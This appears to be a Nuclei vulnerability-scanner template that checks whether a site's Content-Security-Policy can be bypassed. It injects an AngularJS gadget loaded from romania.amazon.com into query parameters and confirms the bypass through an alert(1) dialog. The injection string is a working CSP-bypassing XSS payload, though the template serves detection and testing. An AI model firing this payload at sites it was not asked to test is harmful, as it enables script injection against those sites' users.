id: amazon-romania-csp-bypass

info:
  name: Content-Security-Policy Bypass - Amazon Romania
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,amazon-romania,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "amazon.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: amazon_romania_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="https://romania.amazon.com/app/vendor.min.js"></script><input id=x ng-focus=$event.composedPath()|orderBy:\'(z=alert)(1)\'></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "amazon_romania_csp_xss == true"
# digest: 4a0a00473045022059c3ce431ba87a83b5c50968545f71936d968f77a9f4524cbc0bfb743fd02b13022100bfb3d4d57a641fd5d6bb3b47c3e2b99031a0e7f0f4623f169104e011bcb06a31:922c64590222798bb761d5b6d8e72950